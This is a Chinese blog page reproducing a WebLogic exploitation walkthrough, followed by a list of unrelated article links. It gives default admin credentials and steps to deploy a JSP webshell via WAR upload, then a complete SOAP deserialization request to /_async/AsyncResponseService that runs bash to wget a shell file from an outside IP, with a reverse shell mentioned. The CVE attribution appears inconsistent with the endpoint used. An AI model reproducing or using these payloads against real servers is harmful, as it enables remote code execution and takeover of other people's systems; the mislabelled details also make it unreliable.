当前位置: 首页 > news >正文

WebLogic系列漏洞

后台弱⼝令GetShell

漏洞描述

通过弱⼝令进⼊后台界⾯ , 上传部署war包 , getshell

影响范围

全版本(前提后台存在弱⼝令)

环境搭建

cd vulhub/weblogic/weak_password
docker-compose up -d

漏洞复现

默认账号密码:weblogic/Oracle@123
(单个账号错误密码5次之后就会⾃动锁定)
123.57.211.129 :7001/console/login/LoginForm.jsp
1.登录后台后,点击部署,点击安装,点击上传⽂件。
2.上传war包,jsp⽊⻢压缩成zip,修改后缀为war,上传
然后⼀直下⼀步
3.访问部署好的war
123.57.211.129 :7001/shell/shell.jsp
哥斯拉连接测试
完成

CVE-2017-3506——XMLDecoder反序列化漏洞

漏洞描述

Weblogic的WLS Security组件对外提供了webserver服务,其中使⽤了XMLDecoder来解析⽤户输⼊的 XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执⾏。

影响版本

受影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

漏洞复现

访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
1.验证是否存在wls-wsat组件
http://123.57.211.129:7001/wls-wsat/CoordinatorPortType
存在
2.在当前⻚⾯抓包之后,添加下⾯请求包,反弹shell。
POST /_async/AsyncResponseService HTTP/1.1
Host: 123.57.211.129:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 839
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

发送到重放器重复
在本机监听自己的6666端口,反弹成功

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 深度学习与应用:行人跟踪
  • mysql学习教程,从入门到精通,SQL 删除数据(DELETE 语句)(19)
  • 垂直越权漏洞及解决方案
  • 看看ZOH纤维:高透明、稳定性好,在生物信息监测中的出色表现
  • UniApp如何打包成客户端应用程序
  • [Linux]Vi和Vim编辑器
  • 电脑远程启动Wol
  • 【Linux篇】网络编程基础(笔记)
  • 【VLM小白指北 (1) 】An Introduction to Vision-Language Modeling
  • ER论文阅读-Decoupled Multimodal Distilling for Emotion Recognition
  • CV之OCR:GOT-OCR2.0的简介、安装和使用方法、案例应用之详细攻略
  • (学习总结)STM32CubeMX HAL库 学习笔记撰写心得
  • 微服务漏洞最小化:CKS考试核心实践指南
  • 深度学习后门攻击分析与实现(一)
  • “滑动窗口”思想在算法里面的应用
  • Apache Zeppelin在Apache Trafodion上的可视化
  • Dubbo 整合 Pinpoint 做分布式服务请求跟踪
  • IDEA 插件开发入门教程
  • JavaScript设计模式系列一:工厂模式
  • Java多态
  • Js基础——数据类型之Null和Undefined
  • Mybatis初体验
  • React as a UI Runtime(五、列表)
  • React 快速上手 - 07 前端路由 react-router
  • React中的“虫洞”——Context
  • springboot_database项目介绍
  • vue脚手架vue-cli
  • Vue源码解析(二)Vue的双向绑定讲解及实现
  • yii2中session跨域名的问题
  • 干货 | 以太坊Mist负责人教你建立无服务器应用
  • 力扣(LeetCode)357
  • 前端面试之闭包
  • 入职第二天:使用koa搭建node server是种怎样的体验
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • 适配mpvue平台的的微信小程序日历组件mpvue-calendar
  • 追踪解析 FutureTask 源码
  • 《码出高效》学习笔记与书中错误记录
  • ​Benvista PhotoZoom Pro 9.0.4新功能介绍
  • !!java web学习笔记(一到五)
  • ## 基础知识
  • #Datawhale AI夏令营第4期#AIGC方向 文生图 Task2
  • #Linux(Source Insight安装及工程建立)
  • (33)STM32——485实验笔记
  • (附源码)计算机毕业设计SSM智慧停车系统
  • (几何:六边形面积)编写程序,提示用户输入六边形的边长,然后显示它的面积。
  • (每日一问)计算机网络:浏览器输入一个地址到跳出网页这个过程中发生了哪些事情?(废话少说版)
  • (使用vite搭建vue3项目(vite + vue3 + vue router + pinia + element plus))
  • (一)、软硬件全开源智能手表,与手机互联,标配多表盘,功能丰富(ZSWatch-Zephyr)
  • (最完美)小米手机6X的Usb调试模式在哪里打开的流程
  • ***详解账号泄露:全球约1亿用户已泄露
  • .NET 4 并行(多核)“.NET研究”编程系列之二 从Task开始
  • .NET CLR基本术语
  • .NET Core 控制台程序读 appsettings.json 、注依赖、配日志、设 IOptions
  • .NET 使用配置文件
  • .NET 中使用 TaskCompletionSource 作为线程同步互斥或异步操作的事件